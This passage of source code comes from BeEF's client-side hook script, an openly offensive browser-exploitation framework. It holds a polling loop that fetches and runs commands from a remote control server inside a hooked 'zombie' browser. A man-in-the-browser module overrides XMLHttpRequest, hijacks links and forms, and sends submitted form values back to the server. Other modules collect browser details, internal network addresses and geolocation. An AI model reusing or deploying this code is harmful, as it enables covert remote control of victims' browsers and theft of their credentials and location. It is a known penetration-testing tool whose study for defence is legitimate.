7937 beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
7938 response.status_code = -1;
7939 response.status_text = "crossdomain";
7940 response.port_status = "crossdomain";
7941 response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
7942 response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
7943 if (callback != null) callback(response, requestid);
7944 return response;
7945 }
7946
7947 // if the request was cross-domain from a HTTPS origin to HTTP
7948 // don't proceed and return
7949 if (document.location.protocol == 'https:' && scheme == 'http') {
7950 beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
7951 response.status_code = -1;
7952 response.status_text = "mixedcontent";
7953 response.port_status = "mixedcontent";
7954 response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
7955 response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
7956 if (callback != null) callback(response, requestid);
7957 return response;
7958 }
7959
7960 /*
7961 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
7962 * This will turn POSTs into GETs for remote-domain requests.
7963 */
7964 if (method == "POST") {
7965 $j.ajaxSetup({
7966 dataType: dataType
7967 });
7968 } else {
7969 $j.ajaxSetup({
7970 dataType: 'script'
7971 });
7972 }
7973
7974 // this is required for bugs in IE so data can be transferred back to the server
7975 if (beef.browser.isIE()) {
7976 dataType = 'script'
7977 }
7978
7979 $j.ajax({type: method,
7980 dataType: dataType,
7981 url: url,
7982 headers: headers,
7983 timeout: (timeout * 1000),
7984
7985 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
7986 beforeSend: function (xhr) {
7987 if (method == "POST") {
7988 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
7989 }
7990 },
7991
7992 data: data,
7993
7994 // http server responded successfully
7995 success: function (data, textStatus, xhr) {
7996 var end_time = new Date().getTime();
7997 response.status_code = xhr.status;
7998 response.status_text = textStatus;
7999 response.response_body = data;
8000 response.was_timedout = false;
8001 response.duration = (end_time - start_time);
8002 },
8003
8004 // server responded with a http error (403, 404, 500, etc)
8005 // or server is not a http server
8006 error: function (xhr, textStatus, errorThrown) {
8007 var end_time = new Date().getTime();
8008 response.response_body = xhr.responseText;
8009 response.status_code = xhr.status;
8010 response.status_text = textStatus;
8011 response.duration = (end_time - start_time);
8012 },
8013
8014 complete: function (xhr, textStatus) {
8015 // cross-domain request
8016 if (cross_domain) {
8017
8018 response.port_status = "crossdomain";
8019
8020 if (xhr.status != 0) {
8021 response.status_code = xhr.status;
8022 } else {
8023 response.status_code = -1;
8024 }
8025
8026 if (textStatus) {
8027 response.status_text = textStatus;
8028 } else {
8029 response.status_text = "crossdomain";
8030 }
8031
8032 if (xhr.getAllResponseHeaders()) {
8033 response.headers = xhr.getAllResponseHeaders();
8034 } else {
8035 response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
8036 }
8037
8038 if (!response.response_body) {
8039 response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
8040 }
8041
8042 } else {
8043 // same-domain request
8044 response.status_code = xhr.status;
8045 response.status_text = textStatus;
8046 response.headers = xhr.getAllResponseHeaders();
8047
8048 // determine if TCP port is open/closed/not-http
8049 if (textStatus == "timeout") {
8050 response.was_timedout = true;
8051 response.response_body = "ERROR: Timed out\n";
8052 response.port_status = "closed";
8053 /*
8054 * With IE we need to explicitly set the dataType to "script",
8055 * so there will be always parse-errors if the content is != javascript
8056 * */
8057 } else if (textStatus == "parsererror") {
8058 response.port_status = "not-http";
8059 if (beef.browser.isIE()) {
8060 response.status_text = "success";
8061 response.port_status = "open";
8062 }
8063 } else {
8064 response.port_status = "open";
8065 }
8066 }
8067 callback(response, requestid);
8068 }
8069 });
8070 return response;
8071 },
8072
8073 //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
8074 //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
8075 clean: function (r) {
8076 if (this.array_has_string_key(r)) {
8077 var obj = {};
8078 for (var key in r)
8079 obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
8080 return obj;
8081 }
8082 return r;
8083 },
8084
8085 //Detects if an array has a string key
8086 array_has_string_key: function (arr) {
8087 if ($j.isArray(arr)) {
8088 try {
8089 for (var key in arr)
8090 if (isNaN(parseInt(key))) return true;
8091 } catch (e) {
8092 }
8093 }
8094 return false;
8095 },
8096
8097 /**
8098 * Sends back browser details to framework, calling beef.browser.getDetails()
8099 */
8100 browser_details: function () {
8101 var details = beef.browser.getDetails();
8102 var res = null;
8103 details['HookSessionID'] = beef.session.get_hook_session_id();
8104 this.send('/init', 0, details);
8105 if(details != null)
8106 res = true;
8107
8108 return res;
8109 }
8110
8111};
8112
8113
8114beef.regCmp('beef.net');
8115
8116
8117//
8118// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8119// Browser Exploitation Framework (BeEF) - http://beefproject.com
8120// See the file 'doc/COPYING' for copying permission
8121//
8122
8123/*!
8124 * @Literal object: beef.updater
8125 *
8126 * Object in charge of getting new commands from the BeEF framework and execute them.
8127 * The XHR-polling channel is managed here. If WebSockets are enabled,
8128 * websocket.ls is used instead.
8129 */
8130beef.updater = {
8131
8132 // XHR-polling timeout.
8133 xhr_poll_timeout: "1000",
8134 beefhook: "BEEFHOOK",
8135
8136 // A lock.
8137 lock: false,
8138
8139 // An object containing all values to be registered and sent by the updater.
8140 objects: new Object(),
8141
8142 /*
8143 * Registers an object to always send when requesting new commands to the framework.
8144 * @param: {String} the name of the object.
8145 * @param: {String} the value of that object.
8146 *
8147 * @example: beef.updater.regObject('java_enabled', 'true');
8148 */
8149 regObject: function(key, value) {
8150 this.objects[key] = escape(value);
8151 },
8152
8153 // Checks for new commands from the framework and runs them.
8154 check: function() {
8155 if(this.lock == false) {
8156 if (beef.logger.running) {
8157 beef.logger.queue();
8158 }
8159 beef.net.flush();
8160 if(beef.commands.length > 0) {
8161 this.execute_commands();
8162 }else {
8163 this.get_commands(); /*Polling*/
8164 }
8165 }
8166 /* The following gives a stupid syntax error in IE, which can be ignored*/
8167 setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
8168 },
8169
8170 /**
8171 * Gets new commands from the framework.
8172 */
8173 get_commands: function() {
8174 try {
8175 this.lock = true;
8176 beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
8177 if (response.body != null && response.body.length > 0)
8178 beef.updater.execute_commands();
8179 });
8180 } catch(e) {
8181 this.lock = false;
8182 return;
8183 }
8184 this.lock = false;
8185 },
8186
8187 /**
8188 * Executes the received commands, if any.
8189 */
8190 execute_commands: function() {
8191 if(beef.commands.length == 0) return;
8192 this.lock = true;
8193 while(beef.commands.length > 0) {
8194 command = beef.commands.pop();
8195 try {
8196 command();
8197 } catch(e) {
8198 beef.debug('execute_commands - command failed to execute: ' + e.message);
8199 // prints the command source to be executed, to better trace errors
8200 // beef.client_debug must be enabled in the main config
8201 beef.debug(command.toString());
8202 }
8203 }
8204 this.lock = false;
8205 }
8206};
8207
8208beef.regCmp('beef.updater');
8209
8210
8211//
8212// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8213// Browser Exploitation Framework (BeEF) - http://beefproject.com
8214// See the file 'doc/COPYING' for copying permission
8215//
8216
8217// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
8218
8219beef.encode = {};
8220
8221beef.encode.base64 = {
8222
8223 keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
8224
8225 encode : function (input) {
8226 if (window.btoa) {
8227 return btoa(unescape(encodeURIComponent(input)));
8228 }
8229
8230 var output = "";
8231 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
8232 var i = 0;
8233
8234 input = beef.encode.base64.utf8_encode(input);
8235
8236 while (i < input.length) {
8237
8238 chr1 = input.charCodeAt(i++);
8239 chr2 = input.charCodeAt(i++);
8240 chr3 = input.charCodeAt(i++);
8241
8242 enc1 = chr1 >> 2;
8243 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
8244 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
8245 enc4 = chr3 & 63;
8246
8247 if (isNaN(chr2)) {
8248 enc3 = enc4 = 64;
8249 } else if (isNaN(chr3)) {
8250 enc4 = 64;
8251 }
8252
8253 output = output +
8254 this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
8255 this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
8256
8257 }
8258
8259 return output;
8260 },
8261
8262
8263 decode : function (input) {
8264 if (window.atob) {
8265 return escape(atob(input));
8266 }
8267
8268 var output = "";
8269 var chr1, chr2, chr3;
8270 var enc1, enc2, enc3, enc4;
8271 var i = 0;
8272
8273 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
8274
8275 while (i < input.length) {
8276
8277 enc1 = this.keyStr.indexOf(input.charAt(i++));
8278 enc2 = this.keyStr.indexOf(input.charAt(i++));
8279 enc3 = this.keyStr.indexOf(input.charAt(i++));
8280 enc4 = this.keyStr.indexOf(input.charAt(i++));
8281
8282 chr1 = (enc1 << 2) | (enc2 >> 4);
8283 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
8284 chr3 = ((enc3 & 3) << 6) | enc4;
8285
8286 output = output + String.fromCharCode(chr1);
8287
8288 if (enc3 != 64) {
8289 output = output + String.fromCharCode(chr2);
8290 }
8291 if (enc4 != 64) {
8292 output = output + String.fromCharCode(chr3);
8293 }
8294
8295 }
8296
8297 output = beef.encode.base64.utf8_decode(output);
8298
8299 return output;
8300
8301 },
8302
8303
8304 utf8_encode : function (string) {
8305 string = string.replace(/\r\n/g,"\n");
8306 var utftext = "";
8307
8308 for (var n = 0; n < string.length; n++) {
8309
8310 var c = string.charCodeAt(n);
8311
8312 if (c < 128) {
8313 utftext += String.fromCharCode(c);
8314 }
8315 else if((c > 127) && (c < 2048)) {
8316 utftext += String.fromCharCode((c >> 6) | 192);
8317 utftext += String.fromCharCode((c & 63) | 128);
8318 }
8319 else {
8320 utftext += String.fromCharCode((c >> 12) | 224);
8321 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
8322 utftext += String.fromCharCode((c & 63) | 128);
8323 }
8324
8325 }
8326
8327 return utftext;
8328 },
8329
8330 utf8_decode : function (utftext) {
8331 var string = "";
8332 var i = 0;
8333 var c = c1 = c2 = 0;
8334
8335 while ( i < utftext.length ) {
8336
8337 c = utftext.charCodeAt(i);
8338
8339 if (c < 128) {
8340 string += String.fromCharCode(c);
8341 i++;
8342 }
8343 else if((c > 191) && (c < 224)) {
8344 c2 = utftext.charCodeAt(i+1);
8345 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
8346 i += 2;
8347 }
8348 else {
8349 c2 = utftext.charCodeAt(i+1);
8350 c3 = utftext.charCodeAt(i+2);
8351 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
8352 i += 3;
8353 }
8354
8355 }
8356
8357 return string;
8358 }
8359
8360};
8361
8362beef.regCmp('beef.encode.base64');
8363
8364
8365//
8366// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8367// Browser Exploitation Framework (BeEF) - http://beefproject.com
8368// See the file 'doc/COPYING' for copying permission
8369//
8370
8371// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
8372
8373beef.encode.json = {
8374
8375 stringify: function(o) {
8376 if (typeof(JSON) == 'object' && JSON.stringify) {
8377 // Error on stringifying cylcic structures caused polling to die
8378 try {
8379 s = JSON.stringify(o);
8380 } catch(error) {
8381 // TODO log error / handle cyclic structures?
8382 }
8383 return s;
8384 }
8385 var type = typeof(o);
8386
8387 if (o === null)
8388 return "null";
8389
8390 if (type == "undefined")
8391 return '\"\"';
8392
8393 if (type == "number" || type == "boolean")
8394 return o + "";
8395
8396 if (type == "string")
8397 return $j.quoteString(o);
8398
8399 if (type == 'object')
8400 {
8401 if (typeof o.toJSON == "function")
8402 return $j.toJSON( o.toJSON() );
8403
8404 if (o.constructor === Date)
8405 {
8406 var month = o.getUTCMonth() + 1;
8407 if (month < 10) month = '0' + month;
8408
8409 var day = o.getUTCDate();
8410 if (day < 10) day = '0' + day;
8411
8412 var year = o.getUTCFullYear();
8413
8414 var hours = o.getUTCHours();
8415 if (hours < 10) hours = '0' + hours;
8416
8417 var minutes = o.getUTCMinutes();
8418 if (minutes < 10) minutes = '0' + minutes;
8419
8420 var seconds = o.getUTCSeconds();
8421 if (seconds < 10) seconds = '0' + seconds;
8422
8423 var milli = o.getUTCMilliseconds();
8424 if (milli < 100) milli = '0' + milli;
8425 if (milli < 10) milli = '0' + milli;
8426
8427 return '"' + year + '-' + month + '-' + day + 'T' +
8428 hours + ':' + minutes + ':' + seconds +
8429 '.' + milli + 'Z"';
8430 }
8431
8432 if (o.constructor === Array)
8433 {
8434 var ret = [];
8435 for (var i = 0; i < o.length; i++)
8436 ret.push( $j.toJSON(o[i]) || "null" );
8437
8438 return "[" + ret.join(",") + "]";
8439 }
8440
8441 var pairs = [];
8442 for (var k in o) {
8443 var name;
8444 var type = typeof k;
8445
8446 if (type == "number")
8447 name = '"' + k + '"';
8448 else if (type == "string")
8449 name = $j.quoteString(k);
8450 else
8451 continue; //skip non-string or number keys
8452
8453 if (typeof o[k] == "function")
8454 continue; //skip pairs where the value is a function.
8455
8456 var val = $j.toJSON(o[k]);
8457
8458 pairs.push(name + ":" + val);
8459 }
8460
8461 return "{" + pairs.join(", ") + "}";
8462 }
8463 },
8464
8465 quoteString: function(string) {
8466 if (string.match(this._escapeable))
8467 {
8468 return '"' + string.replace(this._escapeable, function (a)
8469 {
8470 var c = this._meta[a];
8471 if (typeof c === 'string') return c;
8472 c = a.charCodeAt();
8473 return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
8474 }) + '"';
8475 }
8476 return '"' + string + '"';
8477 },
8478
8479 _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
8480
8481 _meta : {
8482 '\b': '\\b',
8483 '\t': '\\t',
8484 '\n': '\\n',
8485 '\f': '\\f',
8486 '\r': '\\r',
8487 '"' : '\\"',
8488 '\\': '\\\\'
8489 }
8490};
8491
8492$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
8493$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
8494
8495beef.regCmp('beef.encode.json');
8496
8497
8498//
8499// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8500// Browser Exploitation Framework (BeEF) - http://beefproject.com
8501// See the file 'doc/COPYING' for copying permission
8502//
8503
8504/*!
8505 * @literal object: beef.net.local
8506 *
8507 * Provides networking functions for the local/internal network of the zombie.
8508 */
8509beef.net.local = {
8510
8511 sock: false,
8512 checkJava: false,
8513 hasJava: false,
8514
8515 /**
8516 * Initializes the java socket. We have to use this method because
8517 * some browsers do not have java installed or it is not accessible.
8518 * in which case creating a socket directly generates an error. So this code
8519 * is invalid:
8520 * sock: new java.net.Socket();
8521 */
8522
8523 initializeSocket: function() {
8524 if(this.checkJava){
8525 if(!beef.browser.hasJava()) {
8526 this.checkJava=True;
8527 this.hasJava=False;
8528 return -1;
8529 }else{
8530 this.checkJava=True;
8531 this.hasJava=True;
8532 return 1;
8533 }
8534 }
8535 else{
8536 if(!this.hasJava) return -1;
8537 else{
8538 try {
8539 this.sock = new java.net.Socket();
8540 } catch(e) {
8541 return -1;
8542 }
8543 return 1;
8544 }
8545 }
8546 },
8547
8548 /**
8549 * Returns the internal IP address of the zombie.
8550 * @return: {String} the internal ip of the zombie.
8551 * @error: return -1 if the internal ip cannot be retrieved.
8552 */
8553 getLocalAddress: function() {
8554 if(!this.hasJava) return false;
8555
8556 this.initializeSocket();
8557
8558 try {
8559 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
8560 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
8561
8562 return this.sock.getLocalAddress().getHostAddress();
8563 } catch(e) { return false; }
8564 },
8565
8566 /**
8567 * Returns the internal hostname of the zombie.
8568 * @return: {String} the internal hostname of the zombie.
8569 * @error: return -1 if the hostname cannot be retrieved.
8570 */
8571 getLocalHostname: function() {
8572 if(!this.hasJava) return false;
8573
8574 this.initializeSocket();
8575
8576 try {
8577 this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
8578 this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
8579
8580 return this.sock.getLocalAddress().getHostName();
8581 } catch(e) { return false; }
8582 }
8583
8584};
8585
8586beef.regCmp('beef.net.local');
8587
8588
8589//
8590// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8591// Browser Exploitation Framework (BeEF) - http://beefproject.com
8592// See the file 'doc/COPYING' for copying permission
8593//
8594
8595/**
8596 * @literal object: beef.init
8597 * Contains the beef_init() method which starts the BeEF client-side
8598 * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
8599 *
8600 * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
8601 * and will have a new session id. The new session id will need to know
8602 * the brwoser details. So sendback the browser details again.
8603 */
8604
8605beef.session.get_hook_session_id();
8606
8607if (beef.pageIsLoaded) {
8608 beef.net.browser_details();
8609}
8610
8611window.onload = function () {
8612 beef_init();
8613};
8614
8615window.onpopstate = function (event) {
8616 if (beef.onpopstate.length > 0) {
8617 event.preventDefault;
8618 for (var i = 0; i < beef.onpopstate.length; i++) {
8619 var callback = beef.onpopstate[i];
8620 try {
8621 callback(event);
8622 } catch (e) {
8623 beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
8624 }
8625 return false;
8626 }
8627 }
8628};
8629
8630window.onclose = function (event) {
8631 if (beef.onclose.length > 0) {
8632 event.preventDefault;
8633 for (var i = 0; i < beef.onclose.length; i++) {
8634 var callback = beef.onclose[i];
8635 try {
8636 callback(event);
8637 } catch (e) {
8638 beef.debug("window.onclose - couldn't execute callback: " + e.message);
8639 }
8640 return false;
8641 }
8642 }
8643};
8644
8645/**
8646 * Starts the polling mechanism, and initialize various components:
8647 * - browser details (see browser.js) are sent back to the "/init" handler
8648 * - the polling starts (checks for new commands, and execute them)
8649 * - the logger component is initialized (see logger.js)
8650 * - the Autorun Engine is initialized (see are.js)
8651 */
8652function beef_init() {
8653 if (!beef.pageIsLoaded) {
8654 beef.pageIsLoaded = true;
8655 beef.net.browser_details();
8656
8657 if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
8658 setTimeout(function(){
8659 beef.websocket.start();
8660 beef.updater.execute_commands();
8661 beef.logger.start();
8662 }, parseInt(beef.websocket.ws_connect_timeout));
8663 }else {
8664 beef.net.browser_details();
8665 beef.updater.execute_commands();
8666 beef.updater.check();
8667 beef.logger.start();
8668 }
8669 }
8670}
8671
8672
8673//
8674// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8675// Browser Exploitation Framework (BeEF) - http://beefproject.com
8676// See the file 'doc/COPYING' for copying permission
8677//
8678
8679
8680beef.mitb = {
8681
8682 cid:null,
8683 curl:null,
8684
8685 init:function (cid, curl) {
8686 beef.mitb.cid = cid;
8687 beef.mitb.curl = curl;
8688 /*Override open method to intercept ajax request*/
8689 var hook_file = "/hook.js";
8690
8691 if (window.XMLHttpRequest && !(window.ActiveXObject)) {
8692
8693 beef.mitb.sniff("Method XMLHttpRequest.open override");
8694 (function (open) {
8695 XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
8696 // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
8697 // or a request initiated by the MiTB itself.
8698 if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
8699 open.call(this, method, url, async, true);
8700 }else {
8701 var portRegex = new RegExp(":[0-9]+");
8702 var portR = portRegex.exec(url);
8703 var requestPort;
8704 if (portR != null) { requestPort = portR[0].split(":")[1]; }
8705
8706 //GET request
8707 if (method == "GET") {
8708 //GET request -> cross-origin
8709 if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
8710 beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
8711 window.open(url);
8712 }else { //GET request -> same-origin
8713 beef.mitb.sniff("GET [Ajax Request]: " + url);
8714 if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
8715 var title = "";
8716 if (document.getElementsByTagName("title").length == 0) {
8717 title = document.title;
8718 } else {
8719 title = document.getElementsByTagName("title")[0].innerHTML;
8720 }
8721 // write the url of the page
8722 history.pushState({ Be:"EF" }, title, url);
8723 }
8724 }
8725 }else{
8726 //POST request
8727 beef.mitb.sniff("POST ajax request to: " + url);
8728 open.call(this, method, url, async, true);
8729 }
8730 }
8731 };
8732 })(XMLHttpRequest.prototype.open);
8733 }
8734 },
8735
8736 // Initializes the hook on anchors and forms.
8737 hook:function () {
8738 beef.onpopstate.push(function (event) {
8739 beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
8740 });
8741 beef.onclose.push(function (event) {
8742 beef.mitb.endSession();
8743 });
8744
8745 var anchors = document.getElementsByTagName("a");
8746 var forms = document.getElementsByTagName("form");
8747 var lis = document.getElementsByTagName("li");
8748
8749 for (var i = 0; i < anchors.length; i++) {
8750 anchors[i].onclick = beef.mitb.poisonAnchor;
8751 }
8752 for (var i = 0; i < forms.length; i++) {
8753 beef.mitb.poisonForm(forms[i]);
8754 }
8755
8756 for (var i = 0; i < lis.length; i++) {
8757 if (lis[i].hasAttribute("onclick")) {
8758 lis[i].removeAttribute("onclick");
8759 /*clear*/
8760 lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
8761 /*override*/
8762
8763 }
8764 }
8765 },
8766
8767 // Hooks anchors and prevents them from linking away
8768 poisonAnchor:function (e) {
8769 try {
8770 e.preventDefault;
8771 if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
8772 var title = "";
8773 if (document.getElementsByTagName("title").length == 0) {
8774 title = document.title;
8775 } else {
8776 title = document.getElementsByTagName("title")[0].innerHTML;
8777 }
8778 history.pushState({ Be:"EF" }, title, e.currentTarget);
8779 }
8780 } catch (e) {
8781 beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
8782 }
8783 return false;
8784 },
8785
8786 // Hooks forms and prevents them from linking away
8787 poisonForm:function (form) {
8788 form.onsubmit = function (e) {
8789
8790 // Collect <input> tags.
8791 var inputs = form.getElementsByTagName("input");
8792 var query = "";
8793 for (var i = 0; i < inputs.length; i++) {
8794 switch (inputs[i].type) {
8795 case "submit":
8796 break;
8797 default:
8798 query += inputs[i].name + "=" + inputs[i].value + '&';
8799 break;
8800 }
8801 }
8802
8803 // Collect selected options from the form.
8804 var selects = form.getElementsByTagName("select");
8805 for (var i = 0; i < selects.length; i++) {
8806 var select = selects[i];
8807 query += select.name + "=" + select.options[select.selectedIndex].value + '&';
8808 }
8809
8810 // We should be gathering 'submit' inputs as well, as there are
8811 // applications demanding this parameter.
8812 var submit = $j('*[type="submit"]', form);
8813 if(submit.length) {
8814 // Append name of the submit button/input.
8815 query += submit.attr('name') + '=' + submit.attr('value');
8816 }
8817
8818 if(query.slice(-1) == '&') {
8819 query = query.slice(0, -1);
8820 }
8821
8822 e.preventdefault;
8823 beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
8824 history.pushState({ Be:"EF" }, "", form.action);
8825 return false;
8826 }
8827 },
8828
8829 // Fetches a hooked form with AJAX
8830 fetchForm:function (url, query, target) {
8831 try {
8832 var y = new XMLHttpRequest();
8833 y.open('POST', url, false, true);
8834 y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
8835 y.onreadystatechange = function () {
8836 if (y.readyState == 4 && y.responseText != "") {
8837 target.innerHTML = y.responseText;
8838 setTimeout(beef.mitb.hook, 10);
8839 }
8840 };
8841 y.send(query);
8842 beef.mitb.sniff("POST: " + url + "[" + query + "]");
8843 return true;
8844 } catch (x) {
8845 return false;
8846 }
8847 },
8848
8849 // Fetches a hooked link with AJAX
8850 fetch:function (url, target) {
8851 try {
8852 var y = new XMLHttpRequest();
8853 y.open('GET', url, false, true);
8854 y.onreadystatechange = function () {
8855 if (y.readyState == 4 && y.responseText != "") {
8856 target.innerHTML = y.responseText;
8857 setTimeout(beef.mitb.hook, 10);
8858 }
8859 };
8860 y.send(null);
8861 beef.mitb.sniff("GET: " + url);
8862 return true;
8863 } catch (x) {
8864 window.open(url);
8865 beef.mitb.sniff("GET [New Window]: " + url);
8866 return false;
8867 }
8868 },
8869
8870 // Fetches a window.location=http://domainname.com and setting up history
8871 fetchOnclick:function (url) {
8872 try {
8873 var target = document.getElementsByTagName("html")[0];
8874 var y = new XMLHttpRequest();
8875 y.open('GET', url, false, true);
8876 y.onreadystatechange = function () {
8877 if (y.readyState == 4 && y.responseText != "") {
8878 var title = "";
8879 if (document.getElementsByTagName("title").length == 0) {
8880 title = document.title;
8881 }
8882 else {
8883 title = document.getElementsByTagName("title")[0].innerHTML;
8884 }
8885 history.pushState({ Be:"EF" }, title, url);
8886 target.innerHTML = y.responseText;
8887 setTimeout(beef.mitb.hook, 10);
8888 }
8889 };
8890 y.send(null);
8891 beef.mitb.sniff("GET: " + url);
8892
8893 } catch (x) {
8894 // the link is cross-origin, so load the resource in a different tab
8895 window.open(url);
8896 beef.mitb.sniff("GET [New Window]: " + url);
8897 }
8898 },
8899
8900 // Relays an entry to the framework
8901 sniff:function (result) {
8902 try {
8903 beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
8904 } catch (x) {
8905 }
8906 return true;
8907 },
8908
8909 // Signals the Framework that the user has lost the hook
8910 endSession:function () {
8911 beef.mitb.sniff("Window closed.");
8912 }
8913};
8914
8915beef.regCmp('beef.mitb');
8916
8917
8918//
8919// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
8920// Browser Exploitation Framework (BeEF) - http://beefproject.com
8921// See the file 'doc/COPYING' for copying permission
8922//
8923
8924/*!
8925 * @literal object: beef.geolocation
8926 *
8927 * Provides functionalities to use the geolocation API.
8928 */
8929beef.geolocation = {
8930
8931 /**
8932 * check if browser supports the geolocation API
8933 */
8934 isGeolocationEnabled: function(){
8935 return !!navigator.geolocation;
8936 },
8937
8938 /*
8939 * given latitude/longitude retrieves exact street position of the zombie
8940 */
8941 getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
8942
8943 // fixes damned issues with jquery 1.5, like this one:
8944 // http://bugs.jquery.com/ticket/8084
8945 $j.ajaxSetup({
8946 jsonp: null,
8947 jsonpCallback: null
8948 });
8949
8950 $j.ajax({
8951 error: function(xhr, status, error){
8952 beef.debug("[geolocation.js] openstreetmap error");
8953 beef.net.send(command_url, command_id, "latitude=" + latitude
8954 + "&longitude=" + longitude
8955 + "&osm=UNAVAILABLE"
8956 + "&geoLocEnabled=True");
8957 },
8958 success: function(data, status, xhr){
8959 beef.debug("[geolocation.js] openstreetmap success");
8960 var jsonResp = $j.parseJSON(data);
8961
8962 beef.net.send(command_url, command_id, "latitude=" + latitude
8963 + "&longitude=" + longitude
8964// + "&osm=" + encodeURI(jsonResp.display_name)
8965 + "&osm=tofix"
8966 + "&geoLocEnabled=True");
8967 },
8968 type: "get",
8969 url: "http://nominatim.openstreetmap.org/reverse?format=json&lat=" +
8970 latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
8971 });
8972
8973 },
8974
8975 /*
8976 * retrieve latitude/longitude using the geolocation API
8977 */
8978 getGeolocation: function (command_url, command_id){
8979
8980 if (!navigator.geolocation) {
8981 beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");
8982 return;
8983 }
8984 beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
8985 navigator.geolocation.getCurrentPosition( //note: this is an async call
8986 function(position){ // success
8987 var latitude = position.coords.latitude;
8988 var longitude = position.coords.longitude;
8989 beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
8990 beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
8991
8992 }, function(error){ // failure
8993 beef.debug("[geolocation.js] error [%d] getting position", error.code);
8994 switch(error.code) // Returns 0-3
8995 {
8996 case 0:
8997 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
8998 return;
8999 case 1:
9000 beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
9001 return;
9002 case 2:
9003 beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
9004 return;
9005 case 3:
9006 beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
9007 return;
9008 }
9009 beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
9010 },
9011 {enableHighAccuracy:true, maximumAge:30000, timeout:27000}
9012 );
9013 }
9014}
9015
9016
9017beef.regCmp('beef.geolocation');
9018
9019
9020//
9021// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
9022// Browser Exploitation Framework (BeEF) - http://beefproject.com
9023// See the file 'doc/COPYING' for copying permission
9024//
9025
9026/*!
9027 * @literal object: beef.net.dns
9028 *
9029 * request object structure:
9030 * + msgId: {Integer} Unique message ID for the request.
